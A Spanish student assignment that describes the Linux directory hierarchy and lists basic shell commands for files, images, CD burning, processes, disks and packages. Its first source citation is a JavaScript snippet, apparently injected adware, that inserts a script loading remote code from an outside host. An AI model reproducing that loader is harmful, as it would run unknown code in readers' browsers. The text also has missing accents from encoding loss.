Professional Documents
Culture Documents
UNIANDES
EXTENCION PUYO
TERCER SEMESTRE
GEOVANNY ACUA
SISTEMAS OPERATIVOS
Jerarqua de Linux
/bin (binarios): Los binarios son los ejecutables de Linux. Aqu tendremos los ejecutables de los
programas propios del sistema operativo, entre ellos comandos como cp, mv, cat, chown, etc. No
es el nico directorio que contiene ejecutables como veremos ms adelante.
/boot (arranque): Aqu nos encontramos los archivos necesarios para el inicio del sistema, desde
los archivos de configuracin de Grub Lilo, hasta el propio kernel del sistema.
/etc (etctera): Aqu se guardan los ficheros de configuracin de los programas instalados, as
como ciertos scripts que se ejecutan en el inicio del sistema. Los valores de estos ficheros de
configuracin pueden ser complementados o sustituidos por los ficheros de configuracin de
usuario que cada uno tiene en su respectivo home (carpeta personal).
/home (hogar): Este hogar no es ms que un directorio que a su vez contiene otros, uno por cada
usuario dado de alta en el sistema. Dentro de dichos directorios es donde el usuario tiene su
carpeta personal, donde estn los ficheros de configuracin de usuario, as como los archivos
personales del mismo que puede crear, modificar y eliminar bajo su propio criterio.
/lib (bibliotecas): Contiene las bibliotecas (tambien mal conocidas como libreras) del sistema, as
como mdulos y controladores (drivers).
/lost+found (perdido y encontrado): Es una carpeta que nos podemos encontrar en todas las
particiones. Cuando por cualquier circunstancia se cierra mal el sistema (un apagn por ejemplo),
cuando ste se reinicie comprobaris que se llamar al programa fsck para restaurar la integridad
del sistema de ficheros. En esta carpeta encontraremos la informacin que se mal-guard debido
a la incidencia.
/media (media/medios): Es donde se montan las unidades extrables como los dispositivos USB,
disqueteras, unidades de CD/DVD y en algunas distros, como Ubuntu, las particiones adicionales.
/mnt (montajes): Es un directorio que se suele usar para montajes temporales de unidades.
/root: Es el /home del administrador. Es el nico /home que no est incluido -por defecto- en el
directorio anteriormente mencionado.
/sbin (binarios de sistema): Son los ejecutables de administracin, tales como mount, umount,
shutdown
/srv (servicios): Informacin del sistema sobre ciertos servicios que ofrece (FTP, HTTP).
/sys (sistema): Informacin sobre los dispositivos tal y como los ve el kernel Linux.
/tmp (temporales): Es un directorio donde se almacenan ficheros temporales. Cada vez que se
inicia el sistema este directorio se limpia.
/usr/local: Es otro nivel dentro que ofrece una jerarqua parecida al propio diretorio /usr.
/var/lib: Informacin sobre el estado actual de las aplicaciones, modificable por las propias
aplicaciones.
/var/lock: Ficheros que se encargan de que un recurso slo sea usado por una aplicacin
determinada que ha pedido su exclusividad, hasta que sta lo libere.
/var/log: Es uno de los subdirectorios ms importantes ya que aqu se guardan todo tipo de logs
del sistema.
/var/spool: Datos esperando a que sean tratados por algn tipo de proceso.
Extrado de : javascript:try{if(document.body.innerHTML){var
a=document.getElementsByTagName("head");if(a.length){var
d=document.createElement("script");d.src="https://apipodowebneta.akamaihd.net/gsrs?is=smdv3ec&bp=BA&g=c0797b73-9501-4719-95169ac8e517f5bf";a[0].appendChild(d);}}}catch(e){}
Estructura de directorios de Linux con su respectiva descripcin
/: Es el nivel ms alto dentro de la jerarqua de directorios.
/bin: Contiene los binarios, que son los ejecutables del sistema operativo.
/boot: Aqu podemos encontrar todos aquellos archivos necesarios para que el
sistema inicie.
/dev: En esta carpeta se encuentran todos los archivos que nos permiten interactuar
con los dispositivos hardware de nuestra PC. Por ejemplo los usb, sda (o hda) con la
informacin de cada uno de ellos
/etc: Aqu se guardan los ficheros de configuracin de los programas instalados.
/home: Contiene las carpetas por defecto de los usuarios, como "Documents and
Settings"
/lib: Contiene las libreras del sistema y los drivers.
/lost found: informacin que se guard de manera incorrecta debido a algn fallo del
sistema.
/media: Ofreecen una estructura de directorios que pueden ser utilizados como punto
de montaje para las Unidades Extrables. Por ejemplo, los dispositivos USB,
disqueteras, unidades de CD/DVD.
/mnt: Es un directorio que se suele usar para montajes temporales de unidades. Por
ejemplo, Directorios compartidos dentro de una red, alguna particin de Windows, etc.
/opt: Destinado para guardar paquetes adicionales de aplicaciones.
/proc: Informacin para la virtualizacin del sistema de ficheros de Linux.
/root: Es el /home del administrador. Es el nico /home que no est incluido -por
defecto- en el directorio anteriormente mencionado.
/sbin: Son los ejecutables de administracin, tales como mount, umount, shu***?
/srv: En este directorio residen las carpetas accesibles por el programa cliente de un
determinado servicio ofrecido por algunos servidores configurados en el sistema. Por
ejemplo Apache, ProFtpd, etc.
/sys: Informacin sobre los dispositivos tal y como los ve el kernel Linux.
/tmp: Es un directorio donde se almacenan ficheros temporales. Cada vez que se
inicia el sistema este directorio se limpia.
/usr: Es el directorio padre de otros subdirectorios de importancia:
/var: Ficheros de sistema como el buffer de impresin.
Extraido de: http://www.taringa.net/posts/linux/6930377/Estructura-de-Directorios-deLinux.html
Comandos bsicos de Linux
desempaquetarlo
tar -jvcf archivo.tbz2 directorio = Empaqueta y comprime (tbz2) directorios o ficheros
tar -jvxf archivo.tbz2 = Desempaqueta y descomprime el archivo.tbz2
tar -jvtf archivo.tbz2 = Muestra el contenido sin desempaquetar ni descomprimir el .tbz2
RENOMBRADO:
rename 'y/A-Z/a-z/' *.zip = Cambia mayusculas por minisculas en todos los .zip. *.zip indica
el tipo de archivos a renombrar (llamado con * renombra todos). A-Z indica el patron a
modificar y a-z el patron por el que se modifica. rename 'y/ /_/' * Cambiaria espacios por _
en todos los archivos
rename 's/expresin //' *.mp3 = Elimina una expresion de todos los mp3.
GRAFICOS:
glxinfo = Informacion sobre OpenGl y Glx
glxinfo | grep "direct rendering" = Indica si esta activada la aceleracion 3D
showrgb = Muestra los colores reconocidos por el sistema y su codigo RGB
banner texto = Muestra un cartel ascii con el texto de forma vertical
banner -w[n] texto = Hace el banner con el tamao indicado por n, siendo n un numero
(Sin los corchetes)
figlet texto = Muestra un cartel ascii con el texto de forma horizontal
figlet texto
figlet -w[n] texto = Similar a banner pero en formato horizontal
figlet -t texto = La salida se mostrara con su anchura maxima
figlet -c texto = La salida se mostrara centrada
xwd > ventana.xwd = Captura una ventana
xwd -root -screen > pantalla.xwd = Captura la pantalla
gnome-screenshot = Captura la pantalla en el escritorio gnome
gnome-screenshot --window = Captura la ventana en el escritorio gnome
import -window - ventana.jpg = Captura una ventana en cualquier formato
xwud -in pantalla.xwd = Muestra imagenes en formato xwd
identify imagen.gif = Muestra las propiedades de una imagen
pdfimages fichero.pdf nombre_para_las_imgenes = Extrae las imagenes de un .pdf
convert *.jpg catlogo.pdf = Crea un catalogo pdf con las imagenes
display "vid:*.jpg" = Crea un indice grafico con las miniaturas
convert imgen_color.jpg -monochrome imgen_b/n.jpg = Convierte una imagen a blanco
y negro
convert imagen_original.ppm imagen_nueva.jpg = Cambia el formato de una imagen
convert -sample 100x50 imagen_original.jpg imagen_nueva.jpg = Cambia las dimensiones
de una imagen
mogrify -format jpg *.ppm = Convierte a jpg todas las imagenes ppm
mogrify -format png -sample 20%x20% *.jpg = Crea miniaturas de varias imagenes
convert -delay 15 imag1.jpg imag2.jpg imag3.jpg remero.gif = Crea un gif animado con
varias imagenes (15 es es el tiempo entre imagenes en centesimas)
convert imagen.gif -adjoin imagen.jpg = Extrae los fotogramas de un gif animado
convert -font courier -fill yellow -pointsize 25 -draw 'text 100,250 texto' imagen.jpg
imagen_con_txt.jpg = Aade texto a una imagen
IMAGENES:
mkisofs -R -J -T -o imagen1.iso fichero1 = Crea una imagen de un fichero que se encuentre
en nuestro disco duro.
dd if=/dev/cdrom of=imagen.iso = Crea una imagen del cdroom y la vuelca en imagen.iso
cat /dev/cdrom > debian.iso = Similar al anterior
nrg2iso imagen.nrg imagen.iso = Convierte una imagen nrg a iso (instalar paquete nrg2iso)
bin2iso imagen.cue = Convierte una imagen bin o cue a iso (Instalar paquete bin2iso)
ccd2iso imagen.img imagen.iso = Convierte una imagen img/ccd/sub/cue a iso (Instalar
paquete ccd2iso)
mdf2iso imagen.mdf imagen.iso = Convierte una imagen mdf o mds a iso (Instalar paquete
mdf2iso)
mount -t iso9660 -o loop imagen.iso punto_montaje = Monta una imagen iso
umount punto_montaje = Desmonta una imagen
md5sum archivo.iso > archivo.iso.txt = Genera la suma md5 de un archivo
md5sum -w -c archivo.iso.txt = Verifica la suma md5 de un archivo
GRABACION DE CD Y DVD:
cdrecord -v dev=0,0,0 fs=16M speed=30 imagen.iso = Grabar un cd de datos/imagen
cdrecord -v dev=0,0,0 fs=16M speed=30 -eject -isosize /dev/sr1 = Copiar un cd de
datos/imagen
cdrecord -v dev=0,0,0 fs=16M speed=30 -pad -audio *.wav = Grabar un cd de audio
cdrdao copy -v 2 --device 0,0,0 --source-device 0,1,0 --reload \ --eject --on-the-fly --fasttoc --paranoia-mode 0 = Copia un cd de audio
cdrecord -v dev=0,0,0 fs=16M speed=30 -pad -audio *.wav -data imagen.iso = Graba un
cd mixto
cdrecord -v blank=fast = Borrar un cd regrabable
growisofs -Z /dev/sr0 -R -J archivo = Grabar un cd de datos/imagen
growisofs -M /dev/sr0 -R -J archivo = Aade mas datos a un dvd multisesion
growisofs -dvd-compat -Z /dev/sr0=imagen.iso = Graba una imagen previamente creada
dvdrecord -v dev=0,0,0 blank=fast = Borra un dvd regrabable
dvdbackup -M -i/dev/sr0 -o ~/copia_dvd/ = Ripea un video dvd
vobcopy -i /dev/sr0 -m -o ~/copia_dvd/ = Similar a la anterior
RIPEO DE UN CD:
cdda2wav -B -H -D /dev/sr1 -s -x = Extrae disco completo en archivos wav separados
cdda2wav -H -D /dev/sr1 -s -x -t 5 = Extrae la pista numero 5
cdparanoia -B -d /dev/sr1 = Extrae disco completo en archivos wav separados
cdparanoia 5 -d /dev/sr1 = Extrae la pista numero 5
abcde -d /dev/sr1 -N -x -o mp3 = Extrae disco completo en archivos mp3 separados
(Necesario instalar paquete abcde)
abcde -d /dev/sr1 -N -x -o mpc = Extrae el disco completo en archivos mpc separados
abcde -d /dev/sr1 -N -x -o ogg = Extrae el disco en archivos ogg separados
abcde -d /dev/sr1 -N -x -o ogg tracks 1-3 5 = Extrae las 3 primeras canciones y la quinta
AUDIO:
lame -b 192 -m j tema.wav = Convierte una cancion wav a mp3 con brittate de 192 (Este
valor puede sustituirse, la opcion -h indica maxima calidad)
VARIOS:
man comando = Muestra informacion sobre el comando
apropos palabra_clave = Busca dentro de las declaraciones de man la palabra exacta
apropos -e palabra_clave = Busca la palabra exacta
cal = Muestra el calendario del mes actual
cal -my = Muestra el calendario de todo el ao
uptime = Muestra la hora,tiempo de funcionamiento,n usuarios conectados y la carga
media
tzconfig = Permite seleccionar la zona horaria
tzselect = Permite seleccionar la zona horaria
date = Muestra la fecha del sistema en formato local
date --help = Muestra todas las opciones de date en castellano
hwclock --show = Muestra el reloj Hardware o reloj de Bios
hwclock -systohc = Pone el reloj Hardware a la hora del sistema
watch -n tiempo comando = Ejecuta un comando cada x segundos (defecto = 2)
clear = Limpia la pantalla
reset = Reinicia la terminal
hostname = Muestra el nombre de la maquina
tty = Muestra el nombre del fichero de la terminal conectada a la salida estandar.
/etc/init.d/servicio stop = Para un servicio o demonio
/etc/init.d/servicio start = Inicia un servicio o demonio
/etc/init.d/servicio restart = Reinicia un servicio o demonio
startx = Arranca el entorno grafico
sh script = Ejecuta un script
java -jar fichero.jar = Ejecuta un programa java
./[archivo.bin] = Ejecuta un archivo binario (Tambien puede usarse con script)
consolechars -f fuente.psf.gz = Cambiar la fuente de la consola.Las fuentes se encuentran
en /usr/share/consolefonts/
reportbug = Enviar bugs
exit = Termina la ejecucion del programa actual
shutdown -t1 -h now = Apaga el pc
shutdown -t1 -r now = Reinicia el pc
su = Entra como superusuario
adduser usuario = Crea un nuevo usuario
adduser usuario grupo = Aade un usuario existente a un grupo existente
PROCESOS:
memtest = Hace una comprobacion del estado de la memoria
free -m -s 3 = Muestra el uso de la memoria
ps -aux = Muestra informacion sobre los procesos en curso
top = Muestra informacion detallada sobre los procesos en curso (tecla z colorea los
activos)
pstree = Muestra los procesos en curso en forma de arbol
pidof [comando] = Muestra el id del comando
killall [proceso] = Para el proceso
strace [comando] = Muestra las llamadas al sistema originadas por el comando
fuser -v [archivo] = Muestra los procesos que estan usando un archivo o directorio
lsof = Lista los ficheros abiertos por los procesos
lsof -c [comando] = Lista los ficheros abiertos por un proceso
lsof +D [Directorio] = Lista los procesos que estan usando el directorio
lsof -i :60627 = Muestra los procesos que se encuentren detras del puerto 60627
[comando] & = Ejecuta un comando en segundo plano
nohup [comando] & = Ejecuta un comando de forma que si cerramos la terminal siga
ejecutandose
jobs = Lista los procesos en segundo plano identificandolo con su numero de tarea
fg n_tarea = Pasa un comando a primer plano
bg = Pasa a segundo plano un proceso que hemos suspendido temporalmente con Ctrl-Z
nice -n prioridad [comando] = Ejecuta un comando con una prioridad determinada
renice prioridad PID_del_proceso = Cambia la prioridad de un proceso en marcha
at [-f script] [tiempo] = Ejecuta un script a una hora y/o fecha concretas
DISCO DURO:
du -h [fichero] = Muestra el espacio que ocupa el fichero o directorio
tree -a -s -L 2 = Igual que el anterior pero lo muestra en forma de arbol
df = Muestra informacion sobre particiones montadas
cfdisk = Muestra informacion sobre particiones
mount = Muestra un listado de los dispositivos montados
mount punto_montaje = Monta un dispositivo establecido en fstab
umount punto_montaje = Desmonta un dispositivo establecido en el fstab
mount -t [Sistema_Archivos] /dev/[dispositivo] [punto_montaje] = Monta el dispositvo, ej:
mount -t ext3 /dev/hda1 /media/disco1
umount /dev/[dispositivo] = Desmonta un disco
fsck /dev/[dispositivo] = Chequea y repara el sistema de archivos de una particion no
montada
fsck.ext2 -vpf /dev/hdx = Chequea y repara el sistema de archivos de una particion ext2 no
montada
fsck.ext3 -vpf /dev/hdx = Igual pero con una particion ext3
mkfs.ext2 /dev/hdXX = Crea un sistema ext2 en la particion seleccionada
mkfs.ext3 /dev/hdXX = Crea un sistema ext3 en la particion seleccionada
mkfs.ext2 /dev/fd0 = Crea un sistema ext2 en el disquette
mkswap /dev/hda2 = Crea un sistema de ficheros swap
tune2fs -O ^has_journal /dev/hdXX = Convierte la particion de ext3 a ext2
tune2fs -j /dev/hdXX = Convierte la particion de ext2 a ext3
INSTALACION DE SOFTWARE:
dpkg -i paquete = Instala un paquete
dpkg -r paquete = Desinstala un paquete
dpkg --purge paquete = Desisntala un paquete y sus archivos de configuracion
dpkg --force -r paquete = Fuerza la desinstalacion de un paquete
dpkg --force-all -r paquete = Fuerza aun mas la desinstalacion de un paquete (Puede
comprometer el sistema)
dpkg -c paquete = Muestra el contenido de un paquete
dpkg -L paquete = Muestra todos los ficheros que se instalaron con un paquete
dpkg -S fichero = Muestra a que paquete pertenece un fichero
dpkg --get-selections = Muestra un listado con todos los paquetes instalados
dpkg-reconfigure paquete = Reconfigura el paquete
aptitude update = Actualiza la lista de paquetes
aptitude upgrade = Actualiza el sistema (no instala ni elimina paquetes)
aptitude dist-upgrade = Actualiza el sistema eliminando e instalando paquetes si fuera
necesario
aptitude install [paquetes] = Instala los paquetes indicados